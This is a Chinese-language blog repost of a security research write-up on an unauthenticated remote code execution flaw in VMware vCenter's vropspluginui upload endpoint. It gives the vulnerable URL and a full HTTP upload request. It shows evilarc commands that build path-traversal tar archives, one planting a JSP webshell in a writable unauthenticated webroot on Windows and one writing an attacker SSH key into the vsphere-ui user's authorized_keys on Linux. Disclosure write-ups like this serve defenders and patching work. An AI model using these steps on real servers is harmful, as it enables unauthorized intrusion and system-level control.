前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >VMware vCenter中未经授权的RCE

VMware vCenter中未经授权的RCE

作者头像
洛米唯熊
发布2022-02-28 14:04:26
1.3K0
发布2022-02-28 14:04:26
举报
文章被收录于专栏:洛米唯熊洛米唯熊

0x00 发现漏洞

技术大佬在对vSphere Client进行分析的过程中,像往常一样采用了黑盒和白盒两种方法进行测试,重点研究了未经授权即可利用的漏洞。从Web面板,尝试发送尽可能多的不同请求,所有请求都没有Cookie标头。

向发送未经授权的请求后/ui/vropspluginui/rest/services/*,发现它实际上不需要任何身份验证。

未经授权即可访问URL

该Web应用程序的某些功能依赖于通常位于单独的.jar文件中的插件。例如,vropspluginui插件在文件vropsplugin-service.jar中实现。

每个插件必须在Web面板中指定哪些端点需要授权才能运行,而哪些端点不需要。该插件已配置为允许未经授权的用户访问其处理的任何URL。

uploadOvaFile 函数负责URL

代码语言:javascript
复制
/ui/vropspluginui/rest/services/uploadova

代码的脆弱部分

此路径的处理程序执行了以下操作:

  1. 收到带有uploadFile参数的POST请求。
  2. 读取并写入此参数的内容到inputStream变量。
  3. 打开结果数据作为.tar存档。
  4. 检索了所有存档(非目录)条目。
  5. 遍历所有条目时,使用文件命名约定在磁盘上创建了每个当前条目的副本/tmp/unicorn_ova_dir + entry_name

这是注意到.tar条目的名称未过滤的地方。它们仅与字符串“ / tmp / unicorn_ova_dir”连接;在结果位置创建一个文件。这意味着我们可以创建一个包含字符串“ ../”的存档条目,这将使我们能够将任意文件上传到服务器上的任意目录。

为了利用此骚操作来制作.tar存档,使用了evilarc实用程序。这是第二次派上用场了。

代码语言:javascript
复制
python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt

生成的归档文件包含一个名为的文件..\..\testFolder\testUpload.txt。将其上载到URL,/ui/vropspluginui/rest/services/uploadova并检查服务器的文件系统testFolderC:\根目录下是否存在该文件夹及其嵌套文件。

代码语言:javascript
复制
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vSphereClient.local
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425

------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain

{craftedArchive}
------WebKitFormBoundaryH8GoragzRFVTw1VD--

测试文件已成功上传

txt文件已成功上传,现在可以通过访问C:\testFolder\testUpload.txt

0x01 在Windows上获取RCE

为了能够在目标系统上执行任意命令,我们需要上载一个.jsp shell,该shell无需授权即可访问。要发现这样的位置:

  • 在磁盘上查找可以使用上述漏洞创建文件的可写路径
  • 将找到的文件路径映射到可访问的Web根目录的文件夹结构中,该目录能够运行.jsp脚本,并且不需要授权。

首先,让我们通过上传文件testUpload.txt并查看其属性菜单来检查我们的上传文件获得了哪些特权。我们可以看到它的所有者是用户“ vsphere-ui”。

上传文件的属性

在搜索候选位置时,目录C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\(存在.jsp文件)看起来很有希望。

无需授权即可访问JSP脚本

检查未经授权的对jsp脚本的访问会产生成功。让我们检查一下vsphere-ui是否对该目录具有写权限。

目标文件夹的特定于安全性的属性

当然可以。我们可以上传特制的.jsp文件,以在系统上执行命令。

让我们创建一个包含精心制作的.jsp shell有效内容的存档,并将其发送到我们正在研究的URL。

代码语言:javascript
复制
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp

漏洞利用

我们的.jsp脚本已上传到服务器,这使我们有机会在具有NT AUTHORITY \ SYSTEM特权的系统上执行任意命令。

0x01 在Linux上获取RCE

对于Linux实例,情况有所不同。但是它们也很容易受到攻击,并允许外部用户上传任意文件。

在Linux上,我找不到允许同时上传和执行.jsp shell的目录。相反,存在另一种在服务器上实现命令执行的方法。

我们知道可以使用vsphere-ui用户的权限上传任意文件。如果我们将公钥上传到该用户的主目录,并尝试使用私钥通过SSH连接到服务器,该怎么办?

让我们检查SSH是否可以从外部访问:

代码语言:javascript
复制
nmap -p 22 vSphereLinux.local

目标端口已打开

第一步是生成密钥对:

代码语言:javascript
复制
ssh-keygen -t rsa

密钥对生成

然后使用生成的公共密钥创建.tar存档:

代码语言:javascript
复制
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys

进入命令行

- 我们可以使用vsphere-ui用户的权限访问服务器。

0x02 文章来源来源

Referer:

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/ptoomey3/evilarc

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档